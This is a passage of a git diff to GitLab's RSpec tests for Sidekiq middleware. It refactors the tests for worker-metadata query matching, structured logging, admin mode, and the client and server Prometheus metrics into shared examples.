+ 'feature_category=category_a|feature_category=category_c' | %w(a a:2 c)
+ 'feature_category!=category_a' | %w(b c)
+
+ # has_external_dependencies
+ 'has_external_dependencies=true' | %w(b)
+ 'has_external_dependencies=false' | %w(a a:2 c)
+ 'has_external_dependencies=true,false' | %w(a a:2 b c)
+ 'has_external_dependencies=true|has_external_dependencies=false' | %w(a a:2 b c)
+ 'has_external_dependencies!=true' | %w(a a:2 c)
+
+ # urgency
+ 'urgency=high' | %w(a:2 b)
+ 'urgency=low' | %w(a)
+ 'urgency=high,low,throttled' | %w(a a:2 b c)
+ 'urgency=low|urgency=throttled' | %w(a c)
+ 'urgency!=high' | %w(a c)
+
+ # name
+ 'name=a' | %w(a)
+ 'name=a,b' | %w(a b)
+ 'name=a,a:2|name=b' | %w(a a:2 b)
+ 'name!=a,a:2' | %w(b c)
+
+ # resource_boundary
+ 'resource_boundary=memory' | %w(b c)
+ 'resource_boundary=memory,cpu' | %w(a b c)
+ 'resource_boundary=memory|resource_boundary=cpu' | %w(a b c)
+ 'resource_boundary!=memory,cpu' | %w(a:2)
+
+ # tags
+ 'tags=no_disk_io' | %w(a b)
+ 'tags=no_disk_io,git_access' | %w(a a:2 b)
+ 'tags=no_disk_io|tags=git_access' | %w(a a:2 b)
+ 'tags=no_disk_io&tags=git_access' | %w(a)
+ 'tags!=no_disk_io' | %w(a:2 c)
+ 'tags!=no_disk_io,git_access' | %w(c)
+ 'tags=unknown_tag' | []
+ 'tags!=no_disk_io' | %w(a:2 c)
+ 'tags!=no_disk_io,git_access' | %w(c)
+ 'tags!=unknown_tag' | %w(a a:2 b c)
+
+ # combinations
+ 'feature_category=category_a&urgency=high' | %w(a:2)
+ 'feature_category=category_a&urgency=high|feature_category=category_c' | %w(a:2 c)
+
+ # Match all
+ '*' | %w(a a:2 b c)
+ end
+
+ with_them do
+ it do
+ matched_metadatas = worker_metadatas.select do |metadata|
+ described_class.new(query).match?(metadata)
+ end
+ expect(matched_metadatas.map { |m| m[:name] }).to match_array(expected_metadatas)
+ end
+ end
+ end
+
+ context 'with invalid input' do
+ where(:query, :error) do
+ 'feature_category="category_a"' | described_class::InvalidTerm
+ 'feature_category=' | described_class::InvalidTerm
+ 'feature_category~category_a' | described_class::InvalidTerm
+ 'worker_name=a' | described_class::UnknownPredicate
+ end
+
+ with_them do
+ it do
+ worker_metadatas.each do |metadata|
+ expect { described_class.new(query).match?(metadata) }
+ .to raise_error(error)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
index 3e8e117ec71..537844df72f 100644
--- a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
+++ b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
@@ -10,80 +10,7 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
end
describe '#call', :request_store do
- let(:timestamp) { Time.iso8601('2018-01-01T12:00:00.000Z') }
- let(:created_at) { timestamp - 1.second }
- let(:scheduling_latency_s) { 1.0 }
-
- let(:job) do
- {
- "class" => "TestWorker",
- "args" => [1234, 'hello', { 'key' => 'value' }],
- "retry" => false,
- "queue" => "cronjob:test_queue",
- "queue_namespace" => "cronjob",
- "jid" => "da883554ee4fe414012f5f42",
- "created_at" => created_at.to_f,
- "enqueued_at" => created_at.to_f,
- "correlation_id" => 'cid',
- "error_message" => "wrong number of arguments (2 for 3)",
- "error_class" => "ArgumentError",
- "error_backtrace" => []
- }
- end
-
- let(:logger) { double }
- let(:clock_realtime_start) { 0.222222299 }
- let(:clock_realtime_end) { 1.333333799 }
- let(:clock_thread_cputime_start) { 0.222222299 }
- let(:clock_thread_cputime_end) { 1.333333799 }
- let(:start_payload) do
- job.except('error_backtrace', 'error_class', 'error_message').merge(
- 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: start',
- 'job_status' => 'start',
- 'pid' => Process.pid,
- 'created_at' => created_at.to_f,
- 'enqueued_at' => created_at.to_f,
- 'scheduling_latency_s' => scheduling_latency_s,
- 'job_size_bytes' => be > 0
- )
- end
-
- let(:end_payload) do
- start_payload.merge(
- 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: done: 0.0 sec',
- 'job_status' => 'done',
- 'duration_s' => 0.0,
- 'completed_at' => timestamp.to_f,
- 'cpu_s' => 1.111112,
- 'db_duration_s' => 0.0,
- 'db_cached_count' => 0,
- 'db_count' => 0,
- 'db_write_count' => 0
- )
- end
-
- let(:exception_payload) do
- end_payload.merge(
- 'message' => 'TestWorker JID-da883554ee4fe414012f5f42: fail: 0.0 sec',
- 'job_status' => 'fail',
- 'error_class' => 'ArgumentError',
- 'error_message' => 'Something went wrong',
- 'error_backtrace' => be_a(Array).and(be_present)
- )
- end
-
- before do
- allow(Sidekiq).to receive(:logger).and_return(logger)
-
- allow(subject).to receive(:current_time).and_return(timestamp.to_f)
-
- allow(Process).to receive(:clock_gettime).with(Process::CLOCK_REALTIME, :float_second)
- .and_return(clock_realtime_start, clock_realtime_end)
- allow(Process).to receive(:clock_gettime).with(Process::CLOCK_THREAD_CPUTIME_ID, :float_second)
- .and_return(clock_thread_cputime_start, clock_thread_cputime_end)
- end
-
- subject { described_class.new }
+ include_context 'structured_logger'
context 'with SIDEKIQ_LOG_ARGUMENTS enabled' do
before do
@@ -283,14 +210,19 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
end_payload.merge(timing_data.stringify_keys)
end
- it 'logs with Gitaly and Rugged timing data' do
+ before do
+ allow(::Gitlab::InstrumentationHelper).to receive(:add_instrumentation_data).and_wrap_original do |method, values|
+ method.call(values)
+ values.merge!(timing_data)
+ end
+ end
+
+ it 'logs with Gitaly and Rugged timing data', :aggregate_failures do
Timecop.freeze(timestamp) do
expect(logger).to receive(:info).with(start_payload).ordered
expect(logger).to receive(:info).with(expected_end_payload).ordered
- call_subject(job, 'test_queue') do
- job.merge!(timing_data)
- end
+ call_subject(job, 'test_queue') { }
end
end
end
@@ -361,15 +293,6 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
end
end
end
-
- def call_subject(job, queue)
- # This structured logger strongly depends on execution of `InstrumentationLogger`
- subject.call(job, queue) do
- ::Gitlab::SidekiqMiddleware::InstrumentationLogger.new.call('worker', job, queue) do
- yield
- end
- end
- end
end
describe '#add_time_keys!' do
diff --git a/spec/lib/gitlab/sidekiq_middleware/admin_mode/client_spec.rb b/spec/lib/gitlab/sidekiq_middleware/admin_mode/client_spec.rb
index 3ba08455d01..9d5d5f28eab 100644
--- a/spec/lib/gitlab/sidekiq_middleware/admin_mode/client_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/admin_mode/client_spec.rb
@@ -74,9 +74,9 @@ RSpec.describe Gitlab::SidekiqMiddleware::AdminMode::Client, :request_store do
end
end
- context 'admin mode feature disabled' do
+ context 'admin mode setting disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
it 'yields block' do
diff --git a/spec/lib/gitlab/sidekiq_middleware/admin_mode/server_spec.rb b/spec/lib/gitlab/sidekiq_middleware/admin_mode/server_spec.rb
index e8322b11875..3ab1a9cd2f4 100644
--- a/spec/lib/gitlab/sidekiq_middleware/admin_mode/server_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/admin_mode/server_spec.rb
@@ -52,9 +52,9 @@ RSpec.describe Gitlab::SidekiqMiddleware::AdminMode::Server, :request_store do
end
end
- context 'admin mode feature disabled' do
+ context 'admin mode setting disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
it 'yields block' do
diff --git a/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
index e2b36125b4e..82ca84f0697 100644
--- a/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/client_metrics_spec.rb
@@ -3,156 +3,33 @@
require 'spec_helper'
RSpec.describe Gitlab::SidekiqMiddleware::ClientMetrics do
- context "with worker attribution" do
- subject { described_class.new }
+ shared_examples "a metrics middleware" do
+ context "with mocked prometheus" do
+ let(:enqueued_jobs_metric) { double('enqueued jobs metric', increment: true) }
- let(:queue) { :test }
- let(:worker_class) { worker.class }
- let(:job) { {} }
- let(:default_labels) do
- { queue: queue.to_s,
- worker: worker_class.to_s,
- boundary: "",
- external_dependencies: "no",
- feature_category: "",
- urgency: "low" }
- end
-
- shared_examples "a metrics client middleware" do
- context "with mocked prometheus" do
- let(:enqueued_jobs_metric) { double('enqueued jobs metric', increment: true) }
-
- before do
- allow(Gitlab::Metrics).to receive(:counter).with(described_class::ENQUEUED, anything).and_return(enqueued_jobs_metric)
- end
-
- describe '#call' do
- it 'yields block' do
- expect { |b| subject.call(worker_class, job, :test, double, &b) }.to yield_control.once
- end
-
- it 'increments enqueued jobs metric with correct labels when worker is a string of the class' do
- expect(enqueued_jobs_metric).to receive(:increment).with(labels, 1)
-
- subject.call(worker_class.to_s, job, :test, double) { nil }
- end
-
- it 'increments enqueued jobs metric with correct labels' do
- expect(enqueued_jobs_metric).to receive(:increment).with(labels, 1)
-
- subject.call(worker_class, job, :test, double) { nil }
- end
- end
- end
- end
-
- context "when workers are not attributed" do
before do
- stub_const('TestNonAttributedWorker', Class.new)
- TestNonAttributedWorker.class_eval do
- include Sidekiq::Worker
- end
- end
-
- it_behaves_like "a metrics client middleware" do
- let(:worker) { TestNonAttributedWorker.new }
- let(:labels) { default_labels.merge(urgency: "") }
- end
- end
-
- context "when a worker is wrapped into ActiveJob" do
- before do
- stub_const('TestWrappedWorker', Class.new)
- TestWrappedWorker.class_eval do
- include Sidekiq::Worker
- end
- end
-
- it_behaves_like "a metrics client middleware" do
- let(:job) do
- {
- "class" => ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper,
- "wrapped" => TestWrappedWorker
- }
- end
-
- let(:worker) { TestWrappedWorker.new }
- let(:labels) { default_labels.merge(urgency: "") }
- end
- end
-
- context "when workers are attributed" do
- def create_attributed_worker_class(urgency, external_dependencies, resource_boundary, category)
- klass = Class.new do
- include Sidekiq::Worker
- include WorkerAttributes
-
- urgency urgency if urgency
- worker_has_external_dependencies! if external_dependencies
- worker_resource_boundary resource_boundary unless resource_boundary == :unknown
- feature_category category unless category.nil?
- end
- stub_const("TestAttributedWorker", klass)
- end
-
- let(:urgency) { nil }
- let(:external_dependencies) { false }
- let(:resource_boundary) { :unknown }
- let(:feature_category) { nil }
- let(:worker_class) { create_attributed_worker_class(urgency, external_dependencies, resource_boundary, feature_category) }
- let(:worker) { worker_class.new }
-
- context "high urgency" do
- it_behaves_like "a metrics client middleware" do
- let(:urgency) { :high }
- let(:labels) { default_labels.merge(urgency: "high") }
- end
+ allow(Gitlab::Metrics).to receive(:counter).with(described_class::ENQUEUED, anything).and_return(enqueued_jobs_metric)
end
- context "no urgency" do
- it_behaves_like "a metrics client middleware" do
- let(:urgency) { :throttled }
- let(:labels) { default_labels.merge(urgency: "throttled") }
+ describe '#call' do
+ it 'yields block' do
+ expect { |b| subject.call(worker_class, job, :test, double, &b) }.to yield_control.once
end
- end
- context "external dependencies" do
- it_behaves_like "a metrics client middleware" do
- let(:external_dependencies) { true }
- let(:labels) { default_labels.merge(external_dependencies: "yes") }
- end
- end
+ it 'increments enqueued jobs metric with correct labels when worker is a string of the class' do
+ expect(enqueued_jobs_metric).to receive(:increment).with(labels, 1)
- context "cpu boundary" do
- it_behaves_like "a metrics client middleware" do
- let(:resource_boundary) { :cpu }
- let(:labels) { default_labels.merge(boundary: "cpu") }
+ subject.call(worker_class.to_s, job, :test, double) { nil }
end
- end
- context "memory boundary" do
- it_behaves_like "a metrics client middleware" do
- let(:resource_boundary) { :memory }
- let(:labels) { default_labels.merge(boundary: "memory") }
- end
- end
+ it 'increments enqueued jobs metric with correct labels' do
+ expect(enqueued_jobs_metric).to receive(:increment).with(labels, 1)
- context "feature category" do
- it_behaves_like "a metrics client middleware" do
- let(:feature_category) { :authentication }
- let(:labels) { default_labels.merge(feature_category: "authentication") }
- end
- end
-
- context "combined" do
- it_behaves_like "a metrics client middleware" do
- let(:urgency) { :high }
- let(:external_dependencies) { true }
- let(:resource_boundary) { :cpu }
- let(:feature_category) { :authentication }
- let(:labels) { default_labels.merge(urgency: "high", external_dependencies: "yes", boundary: "cpu", feature_category: "authentication") }
+ subject.call(worker_class, job, :test, double) { nil }
end
end
end
end
+
+ it_behaves_like 'metrics middleware with worker attribution'
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb b/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb
new file mode 100644
index 00000000000..eb9ba50cdcd
--- /dev/null
+++ b/spec/lib/gitlab/sidekiq_middleware/instrumentation_logger_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::SidekiqMiddleware::InstrumentationLogger do
+ let(:job) { { 'jid' => 123 } }
+ let(:queue) { 'test_queue' }
+ let(:worker) do
+ Class.new do
+ def self.name
+ 'TestDWorker'
+ end
+
+ include ApplicationWorker
+
+ def perform(*args)
+ end
+ end
+ end
+
+ subject { described_class.new }
+
+ before do
+ stub_const('TestWorker', worker)
+ end
+
+ describe '.keys' do
+ it 'returns all available payload keys' do
+ expected_keys = [
+ :cpu_s,
+ :gitaly_calls,
+ :gitaly_duration_s,
+ :rugged_calls,
+ :rugged_duration_s,
+ :elasticsearch_calls,
+ :elasticsearch_duration_s,
+ :elasticsearch_timed_out_count,
+ :mem_objects,
+ :mem_bytes,
+ :mem_mallocs,
+ :redis_calls,
+ :redis_duration_s,
+ :redis_read_bytes,
+ :redis_write_bytes,
+ :redis_action_cable_calls,
+ :redis_action_cable_duration_s,
+ :redis_action_cable_read_bytes,
+ :redis_action_cable_write_bytes,
+ :redis_cache_calls,
+ :redis_cache_duration_s,
+ :redis_cache_read_bytes,
+ :redis_cache_write_bytes,
+ :redis_queues_calls,
+ :redis_queues_duration_s,
+ :redis_queues_read_bytes,
+ :redis_queues_write_bytes,
+ :redis_shared_state_calls,
+ :redis_shared_state_duration_s,
+ :redis_shared_state_read_bytes,
+ :redis_shared_state_write_bytes,
+ :db_count,
+ :db_write_count,
+ :db_cached_count,
+ :external_http_count,
+ :external_http_duration_s,
+ :rack_attack_redis_count,
+ :rack_attack_redis_duration_s
+ ]
+
+ expect(described_class.keys).to include(*expected_keys)
+ end
+ end
+
+ describe '#call', :request_store do
+ let(:instrumentation_values) do
+ {
+ cpu_s: 10,
+ unknown_attribute: 123,
+ db_count: 0,
+ db_cached_count: 0,
+ db_write_count: 0,
+ gitaly_calls: 0,
+ redis_calls: 0
+ }
+ end
+
+ before do
+ allow(::Gitlab::InstrumentationHelper).to receive(:add_instrumentation_data) do |values|
+ values.merge!(instrumentation_values)
+ end
+ end
+
+ it 'merges correct instrumentation data in the job' do
+ expect { |b| subject.call(worker, job, queue, &b) }.to yield_control
+
+ expected_values = instrumentation_values.except(:unknown_attribute)
+
+ expect(job[:instrumentation]).to eq(expected_values)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
index 71f4f2a3b64..95be76ce351 100644
--- a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
@@ -4,296 +4,108 @@ require 'spec_helper'
# rubocop: disable RSpec/MultipleMemoizedHelpers
RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
- context "with worker attribution" do
- subject { described_class.new }
+ shared_examples "a metrics middleware" do
+ context "with mocked prometheus" do
+ include_context 'server metrics with mocked prometheus'
- let(:queue) { :test }
- let(:worker_class) { worker.class }
- let(:job) { {} }
- let(:job_status) { :done }
- let(:labels_with_job_status) { labels.merge(job_status: job_status.to_s) }
- let(:default_labels) do
- { queue: queue.to_s,
- worker: worker_class.to_s,
- boundary: "",
- external_dependencies: "no",
- feature_category: "",
- urgency: "low" }
- end
-
- shared_examples "a metrics middleware" do
- context "with mocked prometheus" do
- let(:concurrency_metric) { double('concurrency metric') }
-
- let(:queue_duration_seconds) { double('queue duration seconds metric') }
- let(:completion_seconds_metric) { double('completion seconds metric') }
- let(:user_execution_seconds_metric) { double('user execution seconds metric') }
- let(:db_seconds_metric) { double('db seconds metric') }
- let(:gitaly_seconds_metric) { double('gitaly seconds metric') }
- let(:failed_total_metric) { double('failed total metric') }
- let(:retried_total_metric) { double('retried total metric') }
- let(:redis_requests_total) { double('redis calls total metric') }
- let(:running_jobs_metric) { double('running jobs metric') }
- let(:redis_seconds_metric) { double('redis seconds metric') }
- let(:elasticsearch_seconds_metric) { double('elasticsearch seconds metric') }
- let(:elasticsearch_requests_total) { double('elasticsearch calls total metric') }
+ describe '#initialize' do
+ it 'sets concurrency metrics' do
+ expect(concurrency_metric).to receive(:set).with({}, Sidekiq.options[:concurrency].to_i)
- before do
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_queue_duration_seconds, anything, anything, anything).and_return(queue_duration_seconds)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_completion_seconds, anything, anything, anything).and_return(completion_seconds_metric)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_cpu_seconds, anything, anything, anything).and_return(user_execution_seconds_metric)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_db_seconds, anything, anything, anything).and_return(db_seconds_metric)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_jobs_gitaly_seconds, anything, anything, anything).and_return(gitaly_seconds_metric)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_redis_requests_duration_seconds, anything, anything, anything).and_return(redis_seconds_metric)
- allow(Gitlab::Metrics).to receive(:histogram).with(:sidekiq_elasticsearch_requests_duration_seconds, anything, anything, anything).and_return(elasticsearch_seconds_metric)
- allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_jobs_failed_total, anything).and_return(failed_total_metric)
- allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_jobs_retried_total, anything).and_return(retried_total_metric)
- allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_redis_requests_total, anything).and_return(redis_requests_total)
- allow(Gitlab::Metrics).to receive(:counter).with(:sidekiq_elasticsearch_requests_total, anything).and_return(elasticsearch_requests_total)
- allow(Gitlab::Metrics).to receive(:gauge).with(:sidekiq_running_jobs, anything, {}, :all).and_return(running_jobs_metric)
- allow(Gitlab::Metrics).to receive(:gauge).with(:sidekiq_concurrency, anything, {}, :all).and_return(concurrency_metric)
-
- allow(concurrency_metric).to receive(:set)
+ subject
end
+ end
- describe '#initialize' do
- it 'sets concurrency metrics' do
- expect(concurrency_metric).to receive(:set).with({}, Sidekiq.options[:concurrency].to_i)
+ describe '#call' do
+ include_context 'server metrics call'
- subject
- end
+ it 'yields block' do
+ expect { |b| subject.call(worker, job, :test, &b) }.to yield_control.once
end
- describe '#call' do
- let(:thread_cputime_before) { 1 }
- let(:thread_cputime_after) { 2 }
- let(:thread_cputime_duration) { thread_cputime_after - thread_cputime_before }
-
- let(:monotonic_time_before) { 11 }
- let(:monotonic_time_after) { 20 }
- let(:monotonic_time_duration) { monotonic_time_after - monotonic_time_before }
-
- let(:queue_duration_for_job) { 0.01 }
-
- let(:db_duration) { 3 }
- let(:gitaly_duration) { 4 }
-
- let(:redis_calls) { 2 }
- let(:redis_duration) { 0.01 }
-
- let(:elasticsearch_calls) { 8 }
- let(:elasticsearch_duration) { 0.54 }
-
- before do
- allow(subject).to receive(:get_thread_cputime).and_return(thread_cputime_before, thread_cputime_after)
- allow(Gitlab::Metrics::System).to receive(:monotonic_time).and_return(monotonic_time_before, monotonic_time_after)
- allow(Gitlab::InstrumentationHelper).to receive(:queue_duration_for_job).with(job).and_return(queue_duration_for_job)
- allow(ActiveRecord::LogSubscriber).to receive(:runtime).and_return(db_duration * 1000)
-
- job[:gitaly_duration_s] = gitaly_duration
- job[:redis_calls] = redis_calls
- job[:redis_duration_s] = redis_duration
-
- job[:elasticsearch_calls] = elasticsearch_calls
- job[:elasticsearch_duration_s] = elasticsearch_duration
-
- allow(running_jobs_metric).to receive(:increment)
- allow(redis_requests_total).to receive(:increment)
- allow(elasticsearch_requests_total).to receive(:increment)
- allow(queue_duration_seconds).to receive(:observe)
- allow(user_execution_seconds_metric).to receive(:observe)
- allow(db_seconds_metric).to receive(:observe)
- allow(gitaly_seconds_metric).to receive(:observe)
- allow(completion_seconds_metric).to receive(:observe)
- allow(redis_seconds_metric).to receive(:observe)
- allow(elasticsearch_seconds_metric).to receive(:observe)
+ it 'calls BackgroundTransaction' do
+ expect_next_instance_of(Gitlab::Metrics::BackgroundTransaction) do |instance|
+ expect(instance).to receive(:run)
end
- it 'yields block' do
- expect { |b| subject.call(worker, job, :test, &b) }.to yield_control.once
- end
+ subject.call(worker, job, :test) {}
+ end
- it 'calls BackgroundTransaction' do
- expect_next_instance_of(Gitlab::Metrics::BackgroundTransaction) do |instance|
- expect(instance).to receive(:run)
- end
+ it 'sets queue specific metrics' do
+ expect(running_jobs_metric).to receive(:increment).with(labels, -1)
+ expect(running_jobs_metric).to receive(:increment).with(labels, 1)
+ expect(queue_duration_seconds).to receive(:observe).with(labels, queue_duration_for_job) if queue_duration_for_job
+ expect(user_execution_seconds_metric).to receive(:observe).with(labels_with_job_status, thread_cputime_duration)
+ expect(db_seconds_metric).to receive(:observe).with(labels_with_job_status, db_duration)
+ expect(gitaly_seconds_metric).to receive(:observe).with(labels_with_job_status, gitaly_duration)
+ expect(completion_seconds_metric).to receive(:observe).with(labels_with_job_status, monotonic_time_duration)
+ expect(redis_seconds_metric).to receive(:observe).with(labels_with_job_status, redis_duration)
+ expect(elasticsearch_seconds_metric).to receive(:observe).with(labels_with_job_status, elasticsearch_duration)
+ expect(redis_requests_total).to receive(:increment).with(labels_with_job_status, redis_calls)
+ expect(elasticsearch_requests_total).to receive(:increment).with(labels_with_job_status, elasticsearch_calls)
+
+ subject.call(worker, job, :test) { nil }
+ end
- subject.call(worker, job, :test) {}
- end
+ it 'sets the thread name if it was nil' do
+ allow(Thread.current).to receive(:name).and_return(nil)
+ expect(Thread.current).to receive(:name=).with(Gitlab::Metrics::Samplers::ThreadsSampler::SIDEKIQ_WORKER_THREAD_NAME)
- it 'sets queue specific metrics' do
- expect(running_jobs_metric).to receive(:increment).with(labels, -1)
- expect(running_jobs_metric).to receive(:increment).with(labels, 1)
- expect(queue_duration_seconds).to receive(:observe).with(labels, queue_duration_for_job) if queue_duration_for_job
- expect(user_execution_seconds_metric).to receive(:observe).with(labels_with_job_status, thread_cputime_duration)
- expect(db_seconds_metric).to receive(:observe).with(labels_with_job_status, db_duration)
- expect(gitaly_seconds_metric).to receive(:observe).with(labels_with_job_status, gitaly_duration)
- expect(completion_seconds_metric).to receive(:observe).with(labels_with_job_status, monotonic_time_duration)
- expect(redis_seconds_metric).to receive(:observe).with(labels_with_job_status, redis_duration)
- expect(elasticsearch_seconds_metric).to receive(:observe).with(labels_with_job_status, elasticsearch_duration)
- expect(redis_requests_total).to receive(:increment).with(labels_with_job_status, redis_calls)
- expect(elasticsearch_requests_total).to receive(:increment).with(labels_with_job_status, elasticsearch_calls)
+ subject.call(worker, job, :test) { nil }
+ end
- subject.call(worker, job, :test) { nil }
- end
+ context 'when job_duration is not available' do
+ let(:queue_duration_for_job) { nil }
- it 'sets the thread name if it was nil' do
- allow(Thread.current).to receive(:name).and_return(nil)
- expect(Thread.current).to receive(:name=).with(Gitlab::Metrics::Samplers::ThreadsSampler::SIDEKIQ_WORKER_THREAD_NAME)
+ it 'does not set the queue_duration_seconds histogram' do
+ expect(queue_duration_seconds).not_to receive(:observe)
subject.call(worker, job, :test) { nil }
end
+ end
- context 'when job_duration is not available' do
- let(:queue_duration_for_job) { nil }
-
- it 'does not set the queue_duration_seconds histogram' do
- expect(queue_duration_seconds).not_to receive(:observe)
-
- subject.call(worker, job, :test) { nil }
- end
- end
-
- context 'when error is raised' do
- let(:job_status) { :fail }
-
- it 'sets sidekiq_jobs_failed_total and reraises' do
- expect(failed_total_metric).to receive(:increment).with(labels, 1)
-
- expect { subject.call(worker, job, :test) { raise StandardError, "Failed" } }.to raise_error(StandardError, "Failed")
- end
- end
-
- context 'when job is retried' do
- let(:job) { { 'retry_count' => 1 } }
+ context 'when error is raised' do
+ let(:job_status) { :fail }
- it 'sets sidekiq_jobs_retried_total metric' do
- expect(retried_total_metric).to receive(:increment)
+ it 'sets sidekiq_jobs_failed_total and reraises' do
+ expect(failed_total_metric).to receive(:increment).with(labels, 1)
- subject.call(worker, job, :test) { nil }
- end
+ expect { subject.call(worker, job, :test) { raise StandardError, "Failed" } }.to raise_error(StandardError, "Failed")
end
end
- end
- context "with prometheus integrated" do
- describe '#call' do
- it 'yields block' do
- expect { |b| subject.call(worker, job, :test, &b) }.to yield_control.once
- end
+ context 'when job is retried' do
+ let(:job) { { 'retry_count' => 1 } }
- context 'when error is raised' do
- let(:job_status) { :fail }
+ it 'sets sidekiq_jobs_retried_total metric' do
+ expect(retried_total_metric).to receive(:increment)
- it 'sets sidekiq_jobs_failed_total and reraises' do
- expect { subject.call(worker, job, :test) { raise StandardError, "Failed" } }.to raise_error(StandardError, "Failed")
- end
+ subject.call(worker, job, :test) { nil }
end
end
end
end
- context "when workers are not attributed" do
- before do
- stub_const('TestNonAttributedWorker', Class.new)
- TestNonAttributedWorker.class_eval do
- include Sidekiq::Worker
+ context "with prometheus integrated" do
+ describe '#call' do
+ it 'yields block' do
+ expect { |b| subject.call(worker, job, :test, &b) }.to yield_control.once
end
- end
- let(:worker) { TestNonAttributedWorker.new }
- let(:labels) { default_labels.merge(urgency: "") }
+ context 'when error is raised' do
+ let(:job_status) { :fail }
- it_behaves_like "a metrics middleware"
- end
-
- context "when a worker is wrapped into ActiveJob" do
- before do
- stub_const('TestWrappedWorker', Class.new)
- TestWrappedWorker.class_eval do
- include Sidekiq::Worker
+ it 'sets sidekiq_jobs_failed_total and reraises' do
+ expect { subject.call(worker, job, :test) { raise StandardError, "Failed" } }.to raise_error(StandardError, "Failed")
+ end
end
end
-
- let(:job) do
- {
- "class" => ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper,
- "wrapped" => TestWrappedWorker
- }
- end
-
- let(:worker) { TestWrappedWorker.new }
- let(:worker_class) { TestWrappedWorker }
- let(:labels) { default_labels.merge(urgency: "") }
-
- it_behaves_like "a metrics middleware"
end
+ end
- context "when workers are attributed" do
- def create_attributed_worker_class(urgency, external_dependencies, resource_boundary, category)
- Class.new do
- include Sidekiq::Worker
- include WorkerAttributes
-
- urgency urgency if urgency
- worker_has_external_dependencies! if external_dependencies
- worker_resource_boundary resource_boundary unless resource_boundary == :unknown
- feature_category category unless category.nil?
- end
- end
-
- let(:urgency) { nil }
- let(:external_dependencies) { false }
- let(:resource_boundary) { :unknown }
- let(:feature_category) { nil }
- let(:worker_class) { create_attributed_worker_class(urgency, external_dependencies, resource_boundary, feature_category) }
- let(:worker) { worker_class.new }
-
- context "high urgency" do
- let(:urgency) { :high }
- let(:labels) { default_labels.merge(urgency: "high") }
-
- it_behaves_like "a metrics middleware"
- end
-
- context "external dependencies" do
- let(:external_dependencies) { true }
- let(:labels) { default_labels.merge(external_dependencies: "yes") }
-
- it_behaves_like "a metrics middleware"
- end
-
- context "cpu boundary" do
- let(:resource_boundary) { :cpu }
- let(:labels) { default_labels.merge(boundary: "cpu") }
-
- it_behaves_like "a metrics middleware"
- end
-
- context "memory boundary" do
- let(:resource_boundary) { :memory }
- let(:labels) { default_labels.merge(boundary: "memory") }
-
- it_behaves_like "a metrics middleware"
- end
-
- context "feature category" do
- let(:feature_category) { :authentication }
- let(:labels) { default_labels.merge(feature_category: "authentication") }
-
- it_behaves_like "a metrics middleware"
- end
-
- context "combined" do
- let(:urgency) { :throttled }
- let(:external_dependencies) { true }
- let(:resource_boundary) { :cpu }
- let(:feature_category) { :authentication }
- let(:labels) { default_labels.merge(urgency: "throttled", external_dependencies: "yes", boundary: "cpu", feature_category: "authentication") }
-
- it_behaves_like "a metrics middleware"
- end
- end
+ it_behaves_like 'metrics middleware with worker attribution' do
+ let(:job_status) { :done }
+ let(:labels_with_job_status) { labels.merge(job_status: job_status.to_s) }
end
end
# rubocop: enable RSpec/MultipleMemoizedHelpers
diff --git a/spec/lib/gitlab/sidekiq_middleware/worker_context/server_spec.rb b/spec/lib/gitlab/sidekiq_middleware/worker_context/server_spec.rb
index ca473462d2e..f736a7db774 100644
--- a/spec/lib/gitlab/sidekiq_middleware/worker_context/server_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/worker_context/server_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Gitlab::SidekiqMiddleware::WorkerContext::Server do
worker_context user: nil
def perform(identifier, *args)
- self.class.contexts.merge!(identifier => Labkit::Context.current.to_h)
+ self.class.contexts.merge!(identifier => Gitlab::ApplicationContext.current)
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_middleware_spec.rb b/spec/lib/gitlab/sidekiq_middleware_spec.rb
index 755f6004e52..0efdef0c999 100644
--- a/spec/lib/gitlab/sidekiq_middleware_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware_spec.rb
@@ -69,11 +69,13 @@ RSpec.describe Gitlab::SidekiqMiddleware do
shared_examples "a server middleware chain" do
it "passes through the right server middlewares" do
